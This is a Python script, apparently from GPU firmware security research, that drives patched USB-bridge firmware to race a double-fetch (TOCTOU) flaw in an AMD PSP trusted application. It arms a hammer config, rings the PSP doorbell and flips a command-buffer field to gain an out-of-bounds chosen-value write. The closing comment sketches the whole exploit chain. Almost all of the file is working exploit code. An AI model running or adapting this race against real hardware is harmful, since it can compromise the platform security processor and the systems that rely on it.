#!/usr/bin/env python3
"""
Host control for the bridge GCP cmd-buffer TOCTOU hammer (opcode 0xEB).

The firmware runs ``fw_handmade_HAMMER.bin`` (handmade @ ed4e39b7 + the 0xEB handler,
``handmade_gcp_hammer_0xEB.patch``). The bridge rings the PSP ring doorbell itself
(one MemWr), then immediately flips a 32-bit target between A and B, to race the GCP
TA's triple-read of cmdBuf[0x818] (double-fetch, Add.70). The single 8051 can't both
service a host submit and hammer, so the final doorbell MUST be fired by the bridge.

Protocol
--------
Config lives in a pinned firmware global ``hammer_cfg`` (XDATA, 32 bytes). Read its
address from the build map (``_hammer_cfg``) — currently 0x0009. Poke it via the
0xE5 XDATA-write path (no timing constraint), then fire the tiny 0xEB trigger.

  hammer_cfg layout (all little-endian):
    [0:8]   doorbell PCIe addr (0 => skip doorbell)   [8:12]  doorbell value
    [12:20] hammer target PCIe addr                   [20:24] value A
    [24:28] value B                                   [28:30] iterations (<=0x8000)
    [30]    fmt_type (0 => MWr64 0x60)                [31]    byte_en (0 => 0x0F)

  trigger:  control_write(0xEB, data=b'HMR\\x01')     # 4-byte arming magic

Addresses are PCIe/MC addresses as seen by the bridge TLP engine (same space as
ctrl.pcie_mem_write): VRAM at paddr -> adev.paddr2mc(paddr); MMIO registers ->
0x10000000 + reg.addr[0]*4 (the doorbell reg {reg_pref}_67 resolves to 0x1005820c).

NOTE on verification: reading VRAM back over the USB tunnel (ctrl.pcie_mem_read) is
cache-confounded (returns a stale write latch without flush, 0 with flush), so it
CANNOT confirm distinct-address writes. The handler fires TLPs identically to the
proven-good ctrl.pcie_mem_write. The real oracle is the PSP/TA behaviour in the chain.
"""
import struct

HAMMER_CFG_ADDR = 0x0009          # _hammer_cfg from handmade build/firmware.map
ARMING_MAGIC    = bytes([0x48, 0x4D, 0x52, 0x01])   # "HMR\x01"


def get_ctrl(adev):
    """The CustomASM24Controller for this AMDev (has .usb, pcie_mem_write/read)."""
    return adev.doorbell64.usb


def pack_cfg(target_addr, valA, valB, iters, doorbell_addr=0, doorbell_val=0,
             fmt_type=0x60, byte_en=0x0F):
    assert 0 < iters <= 0x8000
    return struct.pack('<QIQIIHBB', doorbell_addr, doorbell_val, target_addr,
                       valA & 0xFFFFFFFF, valB & 0xFFFFFFFF, iters, fmt_type, byte_en)


def arm(ctrl, cfg):
    """Poke the 32-byte config into the firmware global, verify the read-back."""
    assert len(cfg) == 32
    ctrl.write(HAMMER_CFG_ADDR, cfg)
    assert bytes(ctrl.read(HAMMER_CFG_ADDR, 32)) == cfg, "hammer_cfg read-back mismatch"


def fire(ctrl, timeout=5000):
    """Trigger: bridge rings the doorbell (if set) then hammers A/B for `iters`."""
    ctrl.usb.control_write(0xEB, data=ARMING_MAGIC, timeout=timeout)


def capture_doorbell(adev):
    """Return (addr, make_value) for the PSP ring doorbell without poking the ring.

    Intercepts the controller write path during a reg.write to learn the exact PCIe
    address the wptr-doorbell uses. The value is computed by the caller per submit
    (ring_wrap: (prev + step) % wptr_max).
    """
    ctrl = get_ctrl(adev)
    psp = adev.psp
    reg = adev.reg(f"{psp.reg_pref}_67")
    cap = {}
    orig = ctrl.pcie_mem_write
    ctrl.pcie_mem_write = lambda address, data: cap.setdefault('addr', address)
    try:
        reg.write(0)            # suppressed; only captures the address
    finally:
        ctrl.pcie_mem_write = orig
    return cap['addr'], reg     # addr == 0x1005820c on this card


# ---- integration sketch for the real race (drive from your FE09->state3 chain) ----
#
#   from host_hammer import get_ctrl, pack_cfg, arm, fire, capture_doorbell
#   ctrl = get_ctrl(adev)
#   db_addr, wptr_reg = capture_doorbell(adev)
#   target = adev.paddr2mc(gcp_cmd_buf_paddr) + 0x818     # the double-fetched field
#   # 1) stage the INVOKE_CMD: write the TA cmd_buf + the ring frame, but DO NOT
#   #    advance the wptr (leave the doorbell for the bridge). See ring_wrap.install.
#   # 2) compute the new wptr value the submit would write (prev+step)%wptr_max.
#   arm(ctrl, pack_cfg(target, valA=SMALL_0x818, valB=LARGE_0x818, iters=0x4000,
#                      doorbell_addr=db_addr, doorbell_val=new_wptr))
#   fire(ctrl)                 # bridge: ring wptr -> hammer 0x818 during TA processing
#   # 3) wait on the fence / read FE0A status; a normal status with the chosen value
#   #    written far-OOB == survivable chosen-value write (win). Repeat to tune iters.